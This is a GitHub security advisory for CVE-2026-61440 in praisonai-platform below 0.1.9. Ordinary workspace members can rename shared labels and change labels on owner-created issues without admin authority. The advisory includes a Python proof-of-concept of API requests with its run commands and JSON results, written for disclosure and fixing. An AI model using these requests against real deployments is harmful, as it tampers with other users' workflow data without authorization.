GitHub Advisoryadvisory · PyPI

GHSA-xxgv-vgvj-qvxh PraisonAI: Platform members can rewrite shared labels and owner issue labels without owner/admin authorization

MEDIUM Published 2026-10-08 Modified 2026-10-08 Official page ↗
Aliases
CVE-2026-61440
Ecosystem
PyPI
Packages
praisonai-platform
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Weaknesses
CWE-862, CWE-863
Reviewed
2026-10-08

Affected packages

• PyPI praisonai-platform: < 0.1.9 → fixed in 0.1.9

Description

Platform members can rewrite shared labels and owner issue labels without owner/admin authorization Summary `praisonai-platform` lets an ordinary workspace member rename and recolor shared labels and add/remove labels on an owner-created issue even though direct label deletion is restricted to workspace admin/owner authority in current releases. Technical Details The affected boundary is the difference between ordinary workspace membership and authority to mutate shared workspace triage taxonomy or owner-created issue workflow state. `src/praisonai-platform/praisonai_platform/api/routes/labels.py` defines `PATCH /workspaces/{workspace_id}/labels/{label_id}` with `user: AuthIdentity = Depends(require_workspace_member)`. The route verifies the label belongs to the URL workspace, then calls `LabelService.update(label_id, body.name, body.color)`, which writes the shared label name/color. The paired label delete route shows a stricter intended boundary. `DELETE /workspaces/{workspace_id}/labels/{label_id}` also verifies the label belongs to the URL workspace, but then calls `require_delete_permission(workspace_id, user, session)` before deleting. `require_delete_permission()` allows workspace admins/owners, or a supplied `resource_owner_id`; because labels have no per-label owner passed to the helper, direct label deletion is effectively admin/owner-only. The local controls confirm that a normal member receives `403` for direct label deletion in current head, `0.1.6`, and `0.1.8`. The issue-label link routes have the same under-authorized write boundary. `POST /workspaces/{workspace_id}/issues/{issue_id}/labels/{label_id}` and `DELETE /workspaces/{workspace_id}/issues/{issue_id}/labels/{label_id}` require only workspace membership after confirming the issue and label belong to the URL workspace. They then call `LabelService.add_to_issue(issue_id, label_id)` or `LabelService.remove_from_issue(issue_id, label_id)` without checking whether the caller owns the issue or has workspace admin/owner authority. As a result, a member who cannot delete a label can still rename/recolor that shared label, remove it from an owner-created issue, and add it back. The non-member controls return `403`, so this is not the older cross-workspace IDOR; it is a same-workspace owner/admin authorization gap that remains after workspace scoping checks. PoV the PoV starts the PraisonAI Platform FastAPI app in process with an in-memory SQLite database. It creates an owner, a member, and an outsider; the owner creates a workspace, adds the member as a plain `member`, creates an owner issue, creates a label, and attaches the label to that issue. The member then attempts the direct label delete control and the three label write actions. Essential excerpt: ```python member_delete_label = await client.delete( f"/api/v1/workspaces/{workspace_id}/labels/{member_delete_control_label_id}", headers=member_headers, ) member_patch_label = await client.patch( f"/api/v1/workspaces/{workspace_id}/labels/{label_id}", json={"name": "Member-controlled triage", "color": "#000000"}, headers=member_headers, ) member_remove_from_owner_issue = await client.delete( f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/labels/{label_id}", headers=member_headers, ) member_add_back_to_owner_issue = await client.post( f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/labels/{label_id}", headers=member_headers, ) outsider_patch_label = await client.patch( f"/api/v1/workspaces/{workspace_id}/labels/{label_id}", json={"name": "Outsider attempt"}, headers=outsider_headers, ) ``` The full PoV script is included in the appendix below. PoC Current head tested: ```text 846568c7a5d8ce9e71e56e4c213f027c04909753 2026-06-17 20:13:04 +0100 chore: clean up redundant 'persist-credentials' entries in GitHub workflows ``` Run against a local checkout of current head: ```sh uv run --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_label_authorization_bypass.py --repo ./PraisonAI --json ``` Decisive current-head output: ```json { "source": "git:846568c7a5d8ce9e71e56e4c213f027c04909753", "vulnerable": true, "checks": { "initial_owner_issue_labels": [ "Owner triage" ], "member_direct_label_delete": 403, "member_patch_label": 200, "owner_observed_label_name_after_member_patch": "Member-controlled triage", "owner_observed_label_color_after_member_patch": "#000000", "member_remove_label_from_owner_issue": 204, "owner_issue_labels_after_member_remove": [], "member_add_label_to_owner_issue": 204, "owner_issue_labels_after_member_add": [ "Member-controlled triage" ], "non_member_patch_label": 403, "non_member_add_label_to_issue": 403, "owner_delete_label": 204 } } ``` Run against the latest PyPI package observed during testing: ```sh uv run --with 'praisonai-platform==0.1.8' --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_label_authorization_bypass.py --json ``` Decisive latest-PyPI output: ```json { "source": "pypi:praisonai-platform==0.1.8", "vulnerable": true, "checks": { "member_direct_label_delete": 403, "member_patch_label": 200, "member_remove_label_from_owner_issue": 204, "member_add_label_to_owner_issue": 204, "non_member_patch_label": 403, "non_member_add_label_to_issue": 403 } } ``` Version sweep excerpt: ```text current git:846568c7a5d8ce9e71e56e4c213f027c04909753: vulnerable=true delete=403 patch=200 remove=204 add=204 pypi:praisonai-platform==0.1.8: vulnerable=true delete=403 patch=200 remove=204 add=204 pypi:praisonai-platform==0.1.6: vulnerable=true delete=403 patch=200 remove=204 add=204 pypi:praisonai-platform==0.1.4: vulnerable=false delete=204 patch=200 remove=204 add=204 ``` The `0.1.4` result is not a clean negative. It means direct member label deletion still returned `204` in that sampled version, so the narrower post-delete-guard bypass is masked by broader older delete behavior. Impact An ordinary workspace member can alter shared triage labels and owner issue label assignments without admin/owner authority. In a shared PraisonAI Platform workspace, that lets a member silently change label meaning, remove labels from owner-created issues so they disappear from label-based filters or boards, and re-add arbitrary labels to owner-created issues. The impact is integrity loss over workflow and triage state rather than code execution or data exfiltration. Suggested severity: Medium. Suggested CVSS v3.1: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N` (6.5). Suggested CWEs: `CWE-862` Missing Authorization and `CWE-863` Incorrect Authorization. The score is conservative: it assumes the attacker already has ordinary workspace member privileges and does not claim confidentiality or availability impact. Suggested Fix Define explicit write authorization for labels and issue-label links instead of treating all workspace members as label administrators. A minimal fix is to require workspace admin/owner authority for `PATCH /labels/{label_id}`, `POST /issues/{issue_id}/labels/{label_id}`, and `DELETE /issues/{issue_id}/labels/{label_id}` when the target issue or shared label was not created by the caller. If labels are intended to be collaboratively editable by all members, make that policy explicit and align delete/update/link behavior. Otherwise, mirror the direct label delete route's admin/owner boundary for label taxonomy updates and require issue owner/admin authority before mutating labels on an existing issue. Add regression tests for these cases: a member cannot rename/recolor a shared label if label management is adm…

Related

Alias · CVE (1)

  • CVE-2026-61440 PraisonAI Platform before 0.1.9 fails to properly authorize label and issue-label mutations, allowing workspace members to rename and… vulnerability

Weakness · CWE (2)

  • CWE-862 Missing Authorization weakness
  • CWE-863 Incorrect Authorization weakness

References